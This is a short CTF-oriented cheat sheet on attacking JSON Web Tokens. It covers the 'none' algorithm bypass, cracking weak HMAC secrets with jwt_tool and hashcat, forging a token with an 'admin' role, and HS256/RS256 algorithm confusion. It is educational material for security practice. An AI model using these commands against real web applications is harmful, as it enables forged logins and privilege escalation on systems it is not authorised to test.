JSON Web Tokens (JWT)

Introduction

JSON Web Tokens (JWT) are compact, self‑contained authentication tokens used by web applications. A typical token contains three Base64‑encoded parts:

header.payload.signature

In CTFs, JWTs are frequently used for authentication puzzles where misconfiguration or weak signing keys allow you to forge or modify claims to become another user — often to escalate privileges or reveal a flag.

Quick Reference

Task	Command
Decode token manually	https://jwt.io
Analyze & exploit token	`jwt_tool <token>`
Test “none” algorithm	`jwt_tool -X a <token>`
Crack HMAC secret	`jwt_tool --crack -d <wordlist> <token>`

Tools

Tool	Purpose
jwt_tool	Comprehensive JWT analysis/exploitation utility
jwt.io	Web interface for decoding & verifying tokens
Hashcat	Brute‑force weak HMAC secrets (mode 16500: JWT)
jwt‑cracker	C‑based dictionary cracker for HMAC tokens
CyberChef	Convenient for Base64decode + inspection

Structure

Part	Description
Header	Algorithm & token type (e.g. `{"alg":"HS256","typ":"JWT"}`)
Payload	User data & claims (`{"user":"guest","role":"user"}`)
Signature	Verifies integrity (HMAC / RSA)

Example token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoic3R1ZGVudCIsInJvbGUiOiJ1c2VyIn0.gTZhw7xI25pUySAGfbt4h6blRC3UV1RS3u9bxTxg6z0

Exploitation Techniques

None Algorithm Vulnerability

If the server accepts alg":"none" without verifying a signature:

jwt_tool -X a <token>

This strips the signature and adjusts the header.

Weak HMAC Secrets

If the algorithm is HS256 (shared secret) and the key is weak, try cracking:

jwt_tool --crack -d rockyou.txt <token>

Or use Hashcat:

hashcat -m 16500 token.txt rockyou.txt

Once the key is discovered, sign a new token with elevated claims:

jwt_tool -S -p <secret> -I -pc "role" -pv "admin" <token>

Algorithm Confusion (HS256 <> RS256)

If the server uses Asymmetric RSA but incorrectly trusts tokens signed via Symmetric HS256, replace the algorithm value and use the server’s public key as the secret to craft a valid HMAC.